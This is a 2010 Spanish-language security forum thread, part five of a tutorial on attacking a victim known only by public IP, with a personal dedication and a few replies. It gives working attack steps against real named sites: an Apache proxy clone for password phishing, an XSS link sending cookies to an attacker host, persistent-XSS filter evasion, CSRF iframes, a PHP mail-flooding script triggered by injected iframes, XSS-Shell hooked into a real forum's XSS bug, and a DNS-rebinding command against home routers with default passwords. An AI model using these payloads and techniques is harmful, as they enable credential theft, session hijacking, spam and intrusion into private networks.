Y desde el Router Qué? Parte V

Todo sobre seguridad, exploits, vulnerabilidades, bug's, etc.

Moderador: Moderadores

Y desde el Router Qué? Parte V

Notapor Vic_Thor » Vie Sep 10, 2010 4:37 am

Antes de comenzar quiero hacer una DEDICATORIA muy, muy especial…

“A mi hermano Javier que murió hace cuatro días después de luchar contra un cáncer.

Durante julio y agosto esta “saga” de Y tras el Router Qué? Me ayudó a pasar las noches de vigilia, los días de sufrimientos y esperanzas.

Soy yo quien agradece a estos foros por encontrar un lugar en el que pude evadirme de la realidad que me acompañó en estos últimos meses, la lucha que tenía Javier contra “todo” venía de mucho mas atrás, pero fueron estos últimos meses los que mas encontró a “su gente” y con nosotros, también estabais todos vosotros sin saberlo.

Te fuiste de mi lado un día… mientras escribía esta quinta parte, la termino para ti. El dolor que me has dejado, duele… duele mucho, pero no es comparable con la alegría de haber podido disfrutar de tu compañía, de haber estado a tu lado.

Javi, esto es lo que hacía cuando me preguntabas… por ello te dedico estas líneas para que aquellos que lean estos foros, estos últimos mensajes mios, te recuerden sin conocerte, GRACIAS a ti… sin ti esto quizás no hubiese salido de la misma forma.”


Y otra cosa, la última: Sé que más de uno de vosotros estará tentado a enviarme sus condolencias, por mensaje o directamente en este hilo… no lo hagáis, os lo pido por favor.

Vale… después de unas cuantas lágrimas y varios suspiros… empecemos:

Un resumen de lo que viene, primero de lo que ya NO es:

Código: Seleccionar todo
   * No tenemos “control” directo del router y/o red víctima.
   * No podemos cambiar configuración alguna del equipo, router o red víctima.
   * No conocemos nada acerca de la configuración de la red víctima, sólo su ip pública.


Ahora lo que SI conocemos:

Código: Seleccionar todo
* Conocemos que es “asiduo” de algún foro/blog/red social (en nuestros ejemplos serán Wadalbertia, Yahoo mail, Facebook y Footbag)

   * Conocemos su nick, cuenta de correo, nombre de usuario o similar.


Y por último lo que intentaremos y técnicas a utilizar:

Código: Seleccionar todo
   * Intentaremos hacernos pasar por esos servidores/servicios con el objeto de:

      a.- Robar sus contraseñas
      b.- Suplantar la sesión activa
      c.- Controlar el navegador del cliente víctima


Código: Seleccionar todo
* Usaremos técnicas de:

      1.- ProxyPass y ProxyPassReverse con apache
      2.- Envío de correo o spam con ataques Cross Site Scripting Persistentes
      3.- Cross Site Request Forgery (CSRF)
      4.- Control del navegador y ejecución de comandos con XSS-Shell
      5.- Secuestro de sesión http mediante túneles XSS
      6.- Acceso a la Red local Víctima con Anti DNS pinnig y Rebind DNS

Obviamente hay muchas otras técnicas y pruebas que podemos realizar, pero elegí estas porque (aunque alguna tiene la “solera” de 16 años, siguen activas y vigentes) son como más novedosas, atrevidas, desconocidas por muchos, poco “comentadas” en nuestros foros y.. en definitiva, mas arriesgadas a la vez que efectivas, de todas ellas seguro que encontraréis suficiente información en la web, pero seguro que “pocas” o ninguna con el detalle y ejecución “hasta el final” para conseguir el objetivo, no es por vanagloria personal, pero así es.

Todo no es “gratuito”, para alguna de ellas precisaremos de algunos recursos “extra” como por ejemplo algún dominio REAL y registrado por el atacante… y claro… este pequeño texto que seguro a mas de uno le acompañará muchas horas de estudio y trabajo… por todo ello, no es del todo “gratuito”.

También nos vamos a alejar un tanto de “los grandes” y nos centraremos en pequeñas redes y/o usuarios domésticos, así será mas asequible para todo el mundo.

Como introducción a lo que nos ocupa, creo que ya está bien… ahora manos a la obra.

1.- Robo de contraseñas, ingeniería social y algo de fortuna…

Hasta ahora hemos usado apache con mod_proxy para “interponer” un Proxy entre el atacante y la víctima, lo hacíamos con efectividad porque ya habíamos conseguido que nuestros “clientes” usaran como servidor DNS primario la propia máquina del atacante..

Ahora, no será así… ya no disfrutamos de esa enorme ventaja, en su lugar tendremos que acudir al “engaño” y hacernos pasar por quien realmente no somos.

Tenemos que intentar “a toda costa” que los clientes visiten nuestra web y/o incitarles a que sigan un enlace con destino a una web del atacante… o directamente hacia la máquina del atacante.

Digamos que es como un “ataque reactivo” la víctima acude y nosotros respondemos con “malas formas”.

En este primer ejemplo “asumimos” que el atacante tiene registrados y dispone de control total de “dominios” similares a los que pretende falsificar, en nuestro ejemplo wadalbertia.com

wadalbertia.com (dominio sin registrar todavía y que suplantará al verdadero que son nuestros foros de wadalbertia.org)

Como wadalbertia.com está (suponemos) en poder del atacante, éste interpondrá el Proxy y capturará contraseñas de acceso.

Para este ejemplo y todos los que se sucederán (tal y como dijimos antes) sabemos la dirección mail de la vícitma y obviamente la del atacante… en todos los ejemplos usaremos:

Estas cuentas han sido activadas expresamente para todos nuestros ejercicios, y como has de suponer, tras la publicación de este texto están suspendidas o eliminadas.

Bien, pues suponiendo que el dominio wadalbertia.com esté en poder del atacante y que en el DNS se haya creado una entrada hacia http://www.wadalbertia.com sólo tenemos que configurar nuestro servidor web con el virtualhost correspondiente y proxypass

Código: Seleccionar todo
NameVirtualHost *:80
Listen 0.0.0.0:80
<VirtualHost  *:80>
       ServerName http://www.wadalbertia.com
   ServerAlias http://www.wadalbertia.com
   ProxyPreserveHost off
   ProxyRequests off
   ProxyVia off
   <Proxy *>
           Order deny,allow
              llow from all
       </Proxy>
   ProxyPass / http://www.wadalbertia.org/
       ProxyPassReverse / http://www.wadalbertia.org/
   <Location />
Order allow,deny
Allow from all
       </Location>
</VirtualHost>


Y para que la victima acuda.. podemos enviarle un mail

Video 01: Suplantación con ProxyPass de Wadalbertia.com

[youtube]v/evviuDIIh1s&hl=es&fs=1[/youtube]

Y si fuese https???

Por ejemplo con http://www.facebook.com y con https://login.facebook.com

Mas difícil… la solución vendrá “tras vuestros avances” de momento no doy pistas, lo probáis que con todo lo que ya hemos aprendido hay para un rato.

2.- Envío de correo o spam con ataques Cross Site Scripting Persistentes

Bien, antes de empezar con el asunto tendríamos que hablar de XSS y de lo XSS persistentes.

De Cross Site Scripting (XSS) no voy a decir nada nuevo, ya sabemos de lo que trata y que “en condiciones normales” actúa contra el navegador del cliente y que “a veces” se usa para robo de cookies y otras fugas de información, habitualmente con código javascript.

Consiste en “obligar” a la víctima seguir un enlace (mediante un clic directo, mediante imágenes, mediante frames, mediante flash, mediante descargas pdf, videos, etc.,,) y ese enlace “conecta” con el servidor web y/o aplicación afectada.

Una vez que eso ya se consiguió se puede redirigir al cliente, presentarle información “errónea”, enviar información privada a un tercero y todo lo que ya conocemos.

Los XSS “habituales” suelen ser url’s con “cosas raras” (en ocasiones sumamente raras), a veces muy largas, casi siempre con caracteres y o contenidos en los equivalentes hexadecimales y no en texto legible.

Un ejemplo: (de un banco… para que veamos que no todo el monte es orégano)

http://www.bankofireland.ie/site-search ... &Submit=GO

Código: Seleccionar todo
http://www.bankofireland.ie/site-search/htsearch?words=%3Cscript%3Ealert%28%22Diosz%20Esxiste!!!%22%29%3C%2Fscript%3E&Submit=GO


Otro ejemplo… este “imaginario”

Código: Seleccionar todo
http://www.ejemplo.com/phpBB2/privmsg.php?mode=%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3b%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%3d%e2%80%99%68%74%74%70%3a%2f%2f%77%77%77%2e%61%74%61%63%61%6e%74%65%2e%63%6f%6d%2f%72%6f%62%61%2e%70%68%70%3d%e2%80%99%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%65%3b%3c%73%63%72%69%70%74%3e


que “en texto claro es esto”:

Código: Seleccionar todo
http://www.ejemplo.com/phpBB2/privmsg.php?mode=”><script>alert(document.cookie);document.location.href=’http://www.atacante.com/roba.php=’+document.cookiee;<script>


Tanto este último como el anterior son “sospechosos” y el que lo vea pues como que no… imagina postear eso en un blog, en un foro o recibir un correo “invitándote” a pinchar en ese enlace…

Para “disimular” podemos usar el servicio de minilink, por ejemplo esto mismo es un enlace hacia el segundo: http://minilink.es/zu

De este tipo hay muchos por la red, como tiny.cc… esto sería lo mismo para el ejemplo del banco: http://tiny.cc/pbx55

Bueno, dejando a parte la habilidad con el que un XSS nos puede afectar y la forma en que lo presentamos, tenemos que ver qué es eso del XSS persistente.

Como acabamos de ver, si un visitante pincha en el enlace del banco que pusimos o mediante otros métodos obligamos a que se “lo trague” (una imagen o iframe oculto) pues aparecerá la ventanita esa de que Diosz Existe!!!.

Pero para ello tuvimos que “inyectar” el código XSS en el enlace real… pues bien, un XSS Persistente es aquel que de una forma u otra una vez “inyectado” PERMANECE y el visitante que accede a la web (sin añadir el XSS) se ve afectado.

Un ejemplo “muy básico”: http://vmthor.site50.net/miblog2/pagina.php

Esta “web” admite un parámetro que se llama param=lo-que-sea

De tal modo que lo-que-sea es el texto que se “posteará” en ese “blog” y se presupone que quedará almacenado por algún lugar….

Es decir, si ponemos:
Código: Seleccionar todo
http://vmthor.site50.net/miblog2/pagina.php?param=Wadalbertia


La palabra “Wadalbertia” se escribirá en pantalla como resultado, esto:

Código: Seleccionar todo
Contenido de archivo.txt = Wadalbertia


El filtro de entrada sustituye algún que otro carácter.. por ejemplo, si pinemos

Código: Seleccionar todo
http://vmthor.site50.net/miblog2/pagina.php?param=”Wadalbertia”


aparecerá esto otro:

Código: Seleccionar todo
Contenido de archivo.txt = \"Wadalbertia\"


Como vemos, el filtro sustituye las comillas por \” como medida “disuasoria”

Qué pasaría si ponemos:
Código: Seleccionar todo
?param=<script>alert(“Dios Existe!!!”)</script>


Pues si lo dejase pasar el filtro, todo el que visualizase es “post” sufriría el XSS persistente, no funcionará porque tenemos que usar alguna técnica de “filter evasion” , una de las más conocidas y funcionales es utilizar la función JavaScript String.fromCharCode.

A esta función le deben seguir los valores en decimal equivalentes a los caracteres que deseasemos, bueno en el vídeo lo veremos mejor.

Una web “cómoda” para traducirlo es:

http://home2.paulschou.net/tools/xlate/

Veamos en el vídeo como somos (incapaces) y luego capaces de inyectar ese XSS.

Vídeo 02: XSS Persistente de forma simplificada.

[youtube]v/ZjBKk0CcKkU&hl=es&fs=1[/youtube]

Te invito que pruebes esto mismo con:

http://vmthor.site50.net/miblog/blog.html

Así te entretienes un ratito… ;)

Ahora tenemos que “ver” otro concepto, el CSRF.

También encontraréis sobrada información de ello por Internet, sólo apuntaré que CSRF no es otra cosa que “la confianza” que tienen las aplicaciones, ventanas o pestañas del navegador en otras que estaban abiertas antes que la nueva.

De todos es conocido que cuando navegamos por Internet y pinchamos en un enlace, en ocasiones, se nos abre una nueva ventana del explorador o una nueva pestaña… otras veces el contenido de ese enlace se muestra en la ventana activa… es lo normal.

Y qué pasa si ese enlace pretende (por ejemplo) cerrar la sesión que teníamos activa en otra ventana… pues que como unas confían en otras… se cierra.

Vemos un vídeo de cómo un usuario de yahoo mail pincha en un enlace que le llega por correo y cuando “regresa” a ver/leer mas correos se encuentra que su sesión se cerró.

El atacante envía un correo a soyunavictima@yahoo.com y cuando éste lee el correo y pincha en el enlace…

El código del enlace “maligno” es:

Código: Seleccionar todo
<html>
<object width="425" height="344">
   <param name="movie" value="http://www.youtube.com/v/h4y3cfJESzw?hl=es&fs=1"></param>
   <param name="allowFullScreen" value="true"></param>
   <param name="allowscriptaccess" value="always"></param>
   <embed src="http://www.youtube.com/v/h4y3cfJESzw?hl=es&fs=1"
type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344">
   </embed>
</object>
<iframe src="https://login.yahoo.com/config/login?logout=1" width="0" height="0"></iframe>
</html>


Vídeo 03: CRSF ejemplo con login yahoo.

[youtube]v/cIgN7Lsic9A&hl=es&fs=1[/youtube]

Lo que acabamos de ver no deja de ser “molesto” y nada mas… pero… y si gracias (o por desgracia) a esta funcionalidad el usuario recibe un correo, lo abre, pincha en el enlace (o mediante una imagen “mal intencionada”), y tras leer el correo que le llegó sin quererlo ni beberlo… envía 500 correos a una lista de distribución.

Y si ese correo se envía a cientos de usuarios… pues serán cientos de usuarios los que enviarán a su vez 500 correos a esa lista de distribución…

Pues eso, también es molesto… molesto para los que le lleguen 385 (es un ejemplo) correos de lo mismo y por diferentes cuentas… también es molesto para los servidores de correo, molesto para el que lo envía, molesto para todos menos para el que lo “ideó” que a lo mejor saca partido de ello vendiendo “humo”.

Por si fuese poco… si esto lo unimos a un XSS de tipo persistente, pues “to quisqui” que visite una web afectada por ese fallo estará enviando 500 correos a otros tantos destinos… y todo ello por cada visita… si ese sitio tiene 1000 visitantes diarios y si se “configura” el XSS persistente para enviar 300 correos a 500 direcciones destino… pues multiplicad… 300 x 500 x 1000 = 150.000.000 correos diarios que se come el servidor y los destinatarios….

De momento nos “conformamos” con preparar una web mediante un script php que envíe un correo a nosotros mismos… vamos a enviarlo del atacante para el atacante, luego ya jugaremos con el resto.

Usaremos Live http Headers en firefox para capturar los envíos y las respuestas.

El script es este:

Código: Seleccionar todo
$service_port = getservbyname('www', 'tcp');
$address = gethostbyname('de.mc249.mail.yahoo.com');
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === false) {
    echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
} else {
    echo "OK.\n";
}
echo "Intentando conectar con... '$address' on port '$service_port'...";
$result = socket_connect($socket, $address, $service_port);
if ($result === false) {
    echo "socket_connect() failed.\nReason: ($result) " . socket_strerror(socket_last_error($socket)) . "\n";
} else {
    echo "OK.\n<br><br>";
}
$in = 'AQUI SE PEGAN LAS CABECERAS DEL MAIL!!!!!';

// ESTA LINEA ES IMPORTANTE!!!

$in .= "Connection: Close\r\n\r\n";

echo "Enviando peticiones HTTP...";
socket_write($socket, $in, strlen($in));
echo "OK.\n<br><br>";
echo "Cerrando Sockets...";
socket_close($socket);
echo "OK.\n\n<br><br>";
echo "<h3>ENVIADO!!!!</h3>\n\n<br><br>";
?>


Oberva la línea que dice “Aquí se pegan las CABECERAS DEL MAIL”, habrá que hacer eso… copiar alli el post que capturemos con Live Headers y mira bien el vídeo para que lo hagas “tal cual”.

Vídeo 04: Probando un correo de yahoo.

[youtube]v/Lt8EuV7OQy0&hl=es&fs=1[/youtube]

Vale, ahora que ya hemos comprobado que el correo se envía correctamente… vamos a “toquetear” un poco para que:

    * Se Envíe como “Dr. Wadalberto Informa a sus súbditos.”
    * Se envíe a la víctima y no al atacante
    * Eliminamos todas la salida de información del script
    * Se envíen 10 correos cuando cualquiera visite la web

Las modificaciones de cabeceras y destinatarios lo veremos en el vídeo. Para enviar 10 correos en lugar de uno sólo, usaremos un bucle dentro del script php, quedaría así:

Código: Seleccionar todo
<?php
$service_port = getservbyname('www', 'tcp');
$address = gethostbyname('de.mc249.mail.yahoo.com');
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$result = socket_connect($socket, $address, $service_port);
$in = 'CABECERAS DEL MAIL';

$in .= "Connection: Close\r\n\r\n";
$i=0;

// ENVIAR 10 CORREOS!!!
while ($i<10) {
socket_write($socket, $in, strlen($in));
sleep(1);
$i++;
}
socket_close($socket);
?>


Recuerda que hay que pegar el contenido en la variable $in, veámoslo:

Vídeo 05: Modificamos el correo hacia el destino.

[youtube]v/ADgk63LiW-o&hl=es&fs=1[/youtube]

Eureka!!! La víctima recibe 10 mails… ahora la “malicia”

Recordáis el ejemplo del XSS persistente??

Bueno, pues imaginad que en lugar de esa web “cutre” y que no visita ni el “pepe” fuese… youtube o facebook… y que encontrásemos ese bug… resultaría que por cada visita de cada usuario (miles y miles) al inyectar el código persistente… miles y miles multiplicado por 10 correos…

Lo vemos con la web de ejemplo, como es vulnerable al xss presistente, el atacante inyectó este código:

Código: Seleccionar todo
<html><iframe src="http://vmthor.site50.net/mail/embudo.php" width=0 height=0 </iframe></html>


El resultado es que todo el que visite http://vmthor.site50.net/miblog2/pagina.php

Si saberlo y por cada visita… se envían 10 correos a la víctima.

Veamos cómo es… vamos a visitar esa web… la vícitma debería recibir 10 correos…

Vídeo 06: Unión del spam con un XSS persistente.

[youtube]v/cDVt1Qwif1c&hl=es&fs=1[/youtube]

Perfecto… Tenemos una web vulnerable a un XSS Persistente… un “malvado spammer” inyectó un código malicioso que “apunta” a otra web que a su vez carga otra página “oculta” y que envía 10 correos por cada visita. Punto final.

Lógicamente el atacante usará una cuenta de correo “robada” (no necesita usuario ni contraseña…basta con robar las cookies de una posible víctima) o también puede usar una cuenta de correo para ese ataque y luego darla de baja pasado un tiempo… en fin, no es mas que un ejemplo “práctico” y “nefasto” de lo que se puede hacer con un XSS persistente…

Un ejemplo real que causó “estragos” por Facebook, lo corrigieron hace muy poquito, pero os dejo un mirror para que lo probéis:

http://vuln.xssed.net/2010/07/30/www.facebook.com(1)/

Era persistente… y ufff… sin comentarios.


4.- Control del navegador y ejecución de comandos con XSS-Shell

De esto hubo un post en nuestros foros… joer… no me digáis que nadie lo llevó a la práctica... seguro que sí..

viewtopic.php?f=18&t=3271

Bien, pues vamos a un caso real… para ello me busqué varios foros vulnerables… para hacerlo “sencillo” elegí un phphBB2 de una versión muyyyy antigua, pero nada mas que por comodidad… luego veremos otros mas modernos, mejor dicho… una tienda virtual con lo que la cosa “se agrava” porque podemos comprar en nombre de otro.

Necesitamos un hosting que admita asp para “guardar” la XSS Shell para poder manejar a las vícitmas y debe soportar access como base de datos, os recomiendo jarby y/o 7host que funcionan ok.

Primero nos descargamos Xss-shell (incluye xss-tunnel que lo usaremos mas tarde) desde:

http://www.portcullis-security.com/tool ... unnell.zip

También viene con un “pdf” que explica mas detalladamente que lo haré yo el funcionamiento… lo que no “incluye” es la configuración “a medida”

Una vez descargado subimos al Server el contenido de la carpeta XSSShell - v0.6.2 en algún directorio que hubiésemos creado.

Los archivos que tenemos que “tocar” son:

    xssshell.asp que está en la carpeta principal de la “aplicación”
    db.asp que está dentro de la carpeta /admin.


Xss-shell es una demostración de lo peligroso que pueden llegar a ser los ataques Cross Site Scripting, enseguidita lo vemos.

Para saber “donde” debemos colocar la base de datos nos creamos un sencillo script en asp que pregunte al servidor del hosting cual es la unidad y ruta donde almacenar la base de datos, el script es este (lo llamé p.asp)

Código: Seleccionar todo
<%
Response.Write Server.MapPath(".")
%>


Este archivo llamado p.asp lo subimos tambien al hosting.

Lo vamos a ver todo seguido en un video

Vídeo 07: Instalar y configurar XSS-Shell. Path de la base de datos.

[youtube]v/3vlj3jdtiM4&hl=es&fs=1[/youtube]

Bien, acabamos de descubrir que la ruta de instalación de nuestra base de datos debe ser: E:\user1\verolulu\XSS

Luego borramos ese script “por si las moscas” y así nadie sabe la ubicación real de la BBDD.

Ahora lo que tenemos que hacer es modificar el script db.asp de la carpeta admin en xssshell.

Concretamente debemos cambiar el path de la base de datos por el que obtuvimos antes y la contraseña “por defecto” que es w00t. Los encontraréis en las líneas 23 y 124 del script db.asp.

Vídeo 08. Configurar /admin./db.asp de XSS-Shell

[youtube]v/wBpbA7U3Pq0&hl=es&fs=1[/youtube]

Ahora probamos que nos podemos conectar con el script xssshell…

Vídeo 09: Comprobar que nos conectamos a Xssshell

[youtube]v/nrtrZfUzreI&hl=es&fs=1[/youtube]

Todo va estupendamente… ahora tenemos que configurar el script xssshell.asp pero antes… como no vamos a usar los ejemplos que vienen con la aplicación, nos buscamos una web vulnerable… como dije, cualquiera que presente un bug XSS nos sirve, probemos con footbag… antes de ver la configuración de xssshell.asp vamos a ver el bug de estos foros (son muy antiguos, pero nos servirán muy bien como ejemplo)

Ya me registré en estos foros hace mucho tiempo (precisamente para probar esto y explicarlo a mis alumnos…) el usuario es Veronicasinmas, el nick es viclulu y la contraseña… esa no os la digo… aunque tal y como está eso… casi mejor sería decirla :P

usaremos un XSS de las faq de phpbb2, este es:

Código: Seleccionar todo
http://www.footbag.org/forum/faq.php?faq[0][0]=<script>alert(“Dios Existe!!!”)</script>


Código: Seleccionar todo
http://www.footbag.org/forum/faq.php?faq[0][0]=<script>alert(“Dios Existe!!!”)</script>


De momento no es necesario registrarse… solo probar…

Video 10: Buscando foros….

[youtube]v/lFzswEpr5Tc&hl=es&fs=1[/youtube]

Ok. Tenemos un bonito XSS en ese foro… ahora lo tenemos que “enlazar” con el script xssshell.asp, allá sobre la línea 72 la variable del Server debe apuntar a: http://free.7host05.com/verolulu/XSS/

Que es donde tenemos hospedado a xsshell

Vídeo 11: Configurar xssshell.asp

[youtube]v/gdVHKsdqfJY&hl=es&fs=1[/youtube]

Bien ya lo tenemos todo configurado… la ventaja de hacerlo así es que todo lo que ya hemos configurado nos servirá para CUALQUIER web vulnerable….

Ahora… ¿Cómo “caerá” la vícitma??

Pues tendremos que “incitarle” a que visite otra web, esto en unos foros como los nuestros está chupado puesto que es normal, común y lógico que los usuarios enlacen a otros sitios de interés… también podemos usar correos, mensajes privados… en fin lo que se nos ocurra.

¿Y qué ha de contener ese “nueva web”?

Pues además de unos bonitos contenidos, interesantes… debe “llamar” a xsshell junto con el bug de XSS.

Es decir… si recuerdas el bug del XSS era mas o menos así:

Código: Seleccionar todo
http://www.footbag.org/forum/faq.php?faq[0][0]=<script>alert(DiosExiste!!!)</script>


Pues sencillamente en lugar de el alert… ponemos una llamada hacia nuestro xssshell. Por ejemplo esto:

Código: Seleccionar todo
http://www.footbag.org/forum/faq.php?faq[0][0]= <script src="http://free.7host05.com/verolulu/XSS/xssshell.asp"></script>


Obviamente hay pocas esperanzas que el/la víctima piche en semejante cosa como esa… podriamos usar un minilink, si… es una opción… pero es como mas elegante esto:

Código: Seleccionar todo
<html>
<object width="960" height="745">
   <param name="movie" value="http://www.youtube.com/v/pNtrQnbO9yM?fs=1&amp;hl=es_ES"></param>
   <param name="allowFullScreen" value="true"></param>
   <param name="allowscriptaccess" value="always"></param>
   <embed src="http://www.youtube.com/v/pNtrQnbO9yM?fs=1&amp;hl=es_ES"
   type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="300">
   </embed>
</object>

<iframe src="http://www.footbag.org/forum/faq.php?faq[0][0]=<script src='http://free.7host05.com/verolulu/XSS/xssshell.asp'></script>" width=0 height=0 </iframe>
</html>


Esto lo guardamos (por ejemplo con el nombre videofootbag.html y lo subimos a cualquer otro hosting (o al mismo de 7host pero no es necesario que sea el mismo) y en los foros de footbag.org posteamos un link diciendo que menudo peazo vídeo de footbag que hemos encontrado… y punto pelota.

Vemos en el proximo video esto mismo…

Vídeo 12: Preparando la web maliciosa

[youtube]v/5fX3VoFnVWw&hl=es&fs=1[/youtube]

Lo único que tenemos que hacer es postear en ese foro algo que incluya este enlace:

Código: Seleccionar todo
http://vmthor.site50.net/footbag/videofootbag.html


Y todo el que pinche allí… pues se conectará con nuestra shell alojada en 7host y … bueno mejor lo vemos….

Los pasos son:
    1- El atacante accede a el panel de admin. de la shell y espera a que las victimas se vayan conectado

    2- La víctima lee el post del foro vulnerable y pincha en el enlace “ a ver que hay”

    3- Sin saberlo se conecta con xsshell

    4- Elige una y prueba los comandos
Vídeo 13: Finalizando el ataque XSS-Shell

[youtube]v/yQlQCrlwgA0&hl=es&fs=1[/youtube]

Jaaaa… estarás preguntándote… menuda “mierda” de ataque!!!! NO funciona nada!!!!

Es cierto (y no lo es) para xssshell funcione medianamente bien, desde el atacante necesitamos Internet Explorer 6 (con IE7 dependerá de las actualizaciones que tengamos) ojo… digo de cara al atacante… la víctima puede tener lo-que-sea.

Vamos, que como tengo IE8 no funcionan los comandos de XSSShell desde la web… siiii sólo desde la web…

Ahora vamos a rematar esto… que nos queda un mal sabor de boca ;(

Vamos a ver en el vídeo qué ocurre cuando usamos XSS-Tunnel esto sí que mola.

Vídeo 14. XSS-Tunnel. Sin comentarios….

[youtube]v/dHKQeyFSK04&hl=es&fs=1[/youtube]

6.- Acceso a la Red local Víctima con Anti DNS pinnig y Rebind DNS

Como queráis llamarlo… o Anti-DNS pinnig o DNS Rebind… los dos valen.

Bueno, ¿Y qué es esto?

El Anti-DNS pinnig es una técnica que utilizan los navegadores, servidores web’s, routers, etc.. para evitar precisamente lo que se conoce como rebind DNS, vamos, que te has quedado igual…

Haré un resumen muy, muy, breve. Para mas información… ya sabes… internete + Google.

Supongamos este caso:

1.- Un usuario accede a http://www.malo.com antes de ello, debe resolver la ip y hace las consultas DNS pertinentes.

2.- el dominio malo.com está bajo el control del atacante y ha configurado el dns del proveedor de turno para que apunte a su máquina local, por tanto, los dns de Internet le dirán al visitante que malo.com es 1.1.1.1 (por ejemplo)

3.- El ordenata de la vicitima se conecta con la máquina del atacante para preguntarle cúal es la ip de la máquina www puesto que le han dicho sus servidores que es él quien lo sabe…

4.- El dns del atacante le dice que http://www.malo.com es tal o cual ip (por ejemplo la misma 1.1.1.1) PERO le envía un TTL (un tiempo de vida de esa consulta) muy, muy bajo… de uno o dos segundos nada mas.

5.- la vícitma está feliz, ya tiene todo lo que buscaba pero en breve esa consulta le “caducará”

6.- Por otra parte, una vez que la víctima accedió a http://www.malo.com (además de las paginitas web que queramos servir) el atacante le envía un… una imagen, un frame, un lo-que-sea, para que acceda a (por ejemplo) x125jpvv.malo.com.

7.- La víctima tiene que volver a preguntar quien es x125jpvv.malo.com, como el TTL de malo.com ya le ha caducado, vuelve a preguntar a los DNS de Internet que le vuelven a remitir a la ip del atacante (1.1.1.1)

8.- El atacante, bloquea las peticiones DNS que vengan de la IP de la vícitma que intenten resolver http://www.malo.com y LE DICE que x125jpvv.malo.com es LA IP DE LA VÍCTIMA.

9.- La vicitma sigue queriendo acceder a http://www.malo.com y no puede porque el atacante le bloqueó, pero sí puede llegar (vía DNS del atacante) a la otra máquina que realmente es su propia IP.

10.- Además, y sin que la víctima lo supiese, el atacante levantó un PROXY entre él y la víctima de tal forma que para conectarse a malo.com la víctima utiliza el Proxy del atacante (esto lo consigue porque el atacante utilizó por ejemplo un applet de java), como es su propia IP, qué pasará??

Pues que el atacante tiene una vía directa de comunicación con la IP de la víctima mediante el Proxy.

Para poder realizar todo esto también hay que “luchar” contra las consabidas políticas del mismo origen, pero para el atacante es sencillo… la segunda respuesta DNS y la “redirección” hacia el “objetivo” la hace por otro puerto diferente al inicial, es decir, uno que no sea el 80.

Bueno, tenéis una información mas completa por ejemplo aquí:

https://www.blackhat.com/presentations/ ... -byrne.pdf

En la DEfcon de Agosto-2010 en Las Vegas se “volvió a presentar este mismo ataque” pero que sepáis que lleva “representandose” con éxito desde hace la friolera de 16 añitos…

Si además lo unimos a un XSS, pues… de vicio, en los ejemplos que veremos mas adelante no utilizo XSS, sencillamente la vícitma visita directamente la web del atacante.

Vale y???

Pues que… ¿Qué es lo que “casi todos” nosotros (usuarios domésticos) tenemos “casi siempre” escuchando por el puerto 80 aunque sólo podamos acceder desde dentro?

Exacto!!! Nuestro Router!!!

Pues eso es lo que se consigue, mediante el DNS Rebind el atacante puede acceder a los recursos internos y no accesibles desde Internet como si estuviese “dentro” de la red de la víctima (no necesariamente ha de ser el router)

Hombre… dirás… pero y el usuario/contraseña… pues sí, claro.. si no tenemos usuario y contraseña no vale… pero… ¿Cuántos hay por ahí que siguen usando las “de fábrica”?

admin/admin, 1234/1234, nada, etc, etc, etc… a mi me vienen unos cuantos MILES!!!

En fin, es enrevesado, pero demoledor habida cuenta de lo que ya hemos visto en las partes anteriores de lo que se puede hacer con acceso al router.

RECUERDA que para que todo funcione el atacante debe tener registrado un dominio en Internet y control total sobre el DNS, de otro modo no funcionará… lo digo por si os aventuráis con servicios como dyndns, noip, etc… esos no nos valen, necesitamos control de todo el dominio, no de subdominios.

En la escenificación que viene a continuación el atacante tiene registrado el dominio amarasadios.com siendo la web “malvada”

http://www.amarasadios.com/init

Cuando llegue el making-of ya os cuento mas…

Pues venga.. a lo nuestro…

Descargamos en la máquina del atacante rebind:

http://rebind.googlecode.com/files/rebind_0-3-4.tar.gz

Lo descomprimimos e instalamos en nuestro sistema.

Mientras tanto… veamos antes de hacer un dns rbind si el atacante puede acceder o no…

Vídeo 15: Antes del Anti-DNS Pinning

[youtube]v/d2XswNQgNL4&hl=es&fs=1[/youtube]

Bueno… pues parece que no se puede…

Ahora vamos a lanzar a rebind…. Así:

Código: Seleccionar todo
./rebind –d amarasadios.com –i eth0 –t 193.251.1.17 –u '' –a '' –n 1000


Código: Seleccionar todo
-d nombre dominio del atacante
-i interface por donde trabajará rebind
-t dirección ip del objetivo
-u '' nombre usuario (p.e. en un router ‘estándar’  1234, admin., etc..)
-a '' contraseña (idem de lo anterior)
-n milisegundos del TTL


Ahora El final...

Vídeo 16: Anti-DNS pinning funcionando....

[youtube]v/vPB5R-s06Vk&hl=es&fs=1[/youtube]

Bien... pues ya está finalizada esta parte...

Os recuerdo que las cuentas de correo de los ejemplos las he desactivado, también está fuera de combate las webs de xsshell.

Y un último vídeo… (este tiene sonido, jejeje) creo recordar que fue el_chaman quien le puso "ritmo" si no es así... que me perdone el susodicho.

[youtube]v/h4y3cfJESzw&hl=es&fs=1[/youtube]

Saludos.
Vic_Thor
Gran Wadalbertita
Gran Wadalbertita
 
Mensajes: 855
Registrado: Vie Ene 28, 2005 11:56 pm

Re: Y desde el Router Qué? Parte V

Notapor okahei » Vie Sep 10, 2010 7:09 pm

Pedazo de trabajo, gracias.

No conocía el tema del rebind DNS, muy interesante (igual que el tema del XSS tunnel). Da miedito ver como de rebuscado puede llegar a ser un ataque.

un saludo.
-<|:·)
Avatar de Usuario
okahei
-<|:·þ
-<|:·þ
 
Mensajes: 3715
Registrado: Sab Ene 29, 2005 12:12 pm

Re: Y desde el Router Qué? Parte V

Notapor -genius- » Sab Sep 11, 2010 6:34 pm

saludo!

vic_thor lamento mucho tu perdida espero que dios lo tenga en gloria...
muy buen material vic_thor como siempre, felicidades y gracias por compartirlo.

gracias
-genius-
:-)
:-)
 
Mensajes: 18
Registrado: Sab Ene 30, 2010 3:50 am

Re: Y desde el Router Qué? Parte V

Notapor Vic_Thor » Sab Sep 11, 2010 10:00 pm

Formato mov: http://www.megaupload.com/?d=THK6ARW1

